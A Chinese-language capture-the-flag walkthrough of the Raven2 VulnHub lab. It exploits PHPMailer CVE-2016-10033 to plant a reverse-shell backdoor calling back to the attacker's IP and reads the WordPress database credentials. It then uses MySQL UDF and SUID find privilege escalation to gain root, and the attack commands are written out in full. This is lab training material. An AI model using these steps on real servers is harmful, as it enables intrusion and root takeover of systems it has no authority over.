9

Raven2项目实战 - Vice_2203

 1 year ago
source link: https://www.cnblogs.com/BlogVice-2203/p/17483911.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

前言

Raven 2是一个中级boot2root虚拟机。有四面旗帜需要捕捉。在多次入侵之后,Raven Security采取了额外措施来加固他们的网络服务器,以防止黑客进入。你还能入侵Raven吗?

靶场环境

kali 192.168.31.153
Raven2 192.168.31.216
靶场环境下载:https://www.vulnhub.com/entry/raven-2,269/

渗透实战

环境搭建成功后,使用nmap扫描ip段,探测存活主机

nmap 192.168.31.0/24
2913000-20230615193048766-200775991.png

发现存活主机,在浏览器访问http://192.168.31.216,查看web页面

2913000-20230615193828012-38251040.png

第一步:对web页面进行信息收集,端口扫描,文件目录遍历
web页面:about.html service.html team.html /wordpress/ contact.php
端口扫描

nmap 192.168.31.216 -sV -O -p-    
2913000-20230615203142071-1521930931.png

得到22 80 111 33177(一个未知端口),系统是debian
文件目录遍历,得到/js/ /vendor/ /manual/ /wordpress/wp-login.php

2913000-20230615203850787-643089714.png

首先查看manual/index.html,是一个apache指引说明参考手册页面
在http://192.168.31.216/vendor/SECURITY.md 描述说明了PHPMailer的几个版本漏洞CVE,在http://192.168.31.216/vendor/VERSION描述了是PHPMailer5.2.16版本

2913000-20230615205517103-886010036.png
2913000-20230615213200281-641135500.png
2913000-20230615213231211-1021491905.png

浏览器搜索发现PHPMailer5.2.16的版本漏洞是CVE-2016-10033
可以去https://www.exploit-db.com/搜索相关漏洞,或者直接在kali使用searchsploit命令查找漏洞脚本
这里我为了方便展示,打开一个新窗口使用kali的searchsploit命令查找

searchsploit PHPMailer
find / -name 40974.py   //这里使用40974.py脚本
2913000-20230615214021108-1047191476.png

2913000-20230615214418786-443898775.png

将40974.py复制到/root目录下方便操作也不会将源文件改错

cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root/40974.py 
vim 40974.py  //修改脚本参数内容
内容修改:
#!/usr/bin/python
# -*- coding:utf-8 -*-

target = 'http://192.168.31.216/contact.php'  //这是要入侵的目标页面
backdoor = '/shell.php'     //写入后门
\\\'192.168.31.153\\\',5656     //kali要监听的端口和ip
-X/var/www/html/shell.php  //写入的payload

2913000-20230615214629347-657507385.png

2913000-20230615220044142-44990041.png
2913000-20230615220423265-1945358433.png

修改完毕后,开始运行脚本文件写入后门

python3 40974.py  //如果有报错使用以下代码,如果没有就不用
sudo apt-get install python3-pip  //其中会安装此脚本需要的requests_toolbelt模块

运行脚本就会出现此界面,需要去访问http://192.168.31.216/contact.php才能生成后门脚本shell.php
2913000-20230615223331913-568502998.png

访问完后,开启kali的nc监听

nc -lvnp 5656  //这里对应前面设置的5656端口
访问http://192.168.31.216/shell.php
2913000-20230615225059978-1624026837.png

使用python的pty 获取linux框架shell

python -c 'import pty;pty.spawn("/bin/bash")'
2913000-20230615225850956-533186986.png

在/var/www/下有一个flag2.txt,这是第三个
第一个flag:http://192.168.31.216/vendor/PATH
第二个(http://192.168.31.216/wordpress/wp-content/uploads/2018/11/flag3.png)和第三个可以使用 find / -name flag* 命令查找
第四个要继续查找,现在已经getshell,接下去就是提权,首先对后台进行信息收集
查找关键信息及线索,在/var/www/html目录下使用ls查看文件,发现有一个wordpress的文件夹,cd进去寻找信息

ls
cd wordpress
再次使用ls可以看到一堆的wordpress框架文件
2913000-20230615232916220-2074648489.png

这里重点看配置文件wp-config.php,使用cat wp-config.php查看配置
发现了数据库为 wordpress 数据库用户 root 密码 R@v3nSecurity

2913000-20230615233149168-785977854.png

接下来我们可以使用LinEnum.sh信息收集脚本对整个后台系统的扫描一遍

脚本下载地址:https://github.com/rebootuser/LinEnum
kali使用python开启http服务
python3 -m http.server 8989
在靶机后台使用:
wget http://192.168.31.153:8989/LinEnum.sh //这里我已经把脚本放在/root目录下
2913000-20230616000114122-526220185.png
赋予执行权限
chmod +x LinEnum.sh
./LinEnum.sh    //执行扫描
2913000-20230616000256450-1079051425.png

在此处可以发现登陆的数据库是root最高权限,那么我们就可以利用数据库来提权
涉及到数据库提权可以尝试使用udf提权方式获取最高权限

2913000-20230616000340923-106359511.png

现在已知只要登陆数据库提权就是root,我们使用dpkg -l | grep mysql 查询是否有mysql及其版本信息

dpkg -l | grep mysql
2913000-20230616000832844-1808590339.png

发现是mysql 5.5.60版本,接着就是在kali中搜索mysql udf

searchsploit mysql udf

2913000-20230616001117871-1678328445.png

我们使用第二个 1518.c脚本,find / -name 1518.c查找路径,依旧复制出来修改并使用

find / -name 1518.c
cp /usr/share/exploitdb/exploits/linux/local/1518.c /root/1518.c

2913000-20230616001411010-1510883083.png

2913000-20230616001457004-1528284323.png

使用gcc命令对1518.c进行编译成so文件
gcc -g -c 1518.c

2913000-20230616001758274-2026293834.png

 gcc -g -shared -o cmd.so 1518.o -lc

-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
2913000-20230616001935488-535686735.png

利用http服务将so文件传输到靶机后台

wget http://192.168.31.153:8989/cmd.so
注:此处我传输的位置是在/var/www/html目录下,与后面传入数据库有关系
2913000-20230616002347720-877463416.png

传输成功,现在登录mysql查询secure_file_priv是否为空

mysql -u root -pR@v3nSecurity    //登录mysql
show global variables like 'secure%';   //查询secure_file_priv

1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权

2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权

3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
2913000-20230616002812260-1941941496.png

发现可写入文件,开始接下来的udf提权操作

show databases;   //查询所有数据库
use mysql; //使用mysql数据库
2913000-20230616003050020-2049949125.png
create table raven2(line blob);  //创建表raven2
insert into raven2 values(load_file('/var/www/html/cmd.so')); //将刚上传的cmd.so插入表

2913000-20230616003301935-474025107.png

raven2表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出,outfile会有特殊的转换,而dumpfile是原数据导出!
新建存储函数
select * from raven2 into  dumpfile '/usr/lib/mysql/plugin/cmd.so';

2913000-20230616003816865-315858473.png

创建自定义函数do_system,类型是integer,别名(soname)文件名字
create function do_system returns integer soname 'cmd.so';

2913000-20230616004009725-1309787497.png

查询函数是否创建成功
select * from mysql.func;
2913000-20230616004052135-196340874.png
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令
select do_system('chmod u+s /usr/bin/find');
2913000-20230616004247700-1075836477.png
执行find命令
find / -exec "/bin/sh" \;
2913000-20230616004614953-1879870728.png

成功获取root权限,得到最后一个flag

2913000-20230616004749965-1508961825.png

总结

1.WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。也可以把 WordPress 当作一个内容管理系统(CMS)来使用。WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。
2.成因 :
在漏洞文件class.phpmailer.php中,phpmailer组件是调用linux系统命令sendmail进行邮件发送,命令格式为:sendmail -t -i -fusername@hostname。serverHostname函数通过传入的SERVER_NAME参数来获取主机名,该主机名即HTTP请求报文中的host值,但是SERVER_NAME参数并没有经过任何过滤,因此可以进行任意构造拼接,从而产生了系统命令注入漏洞


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK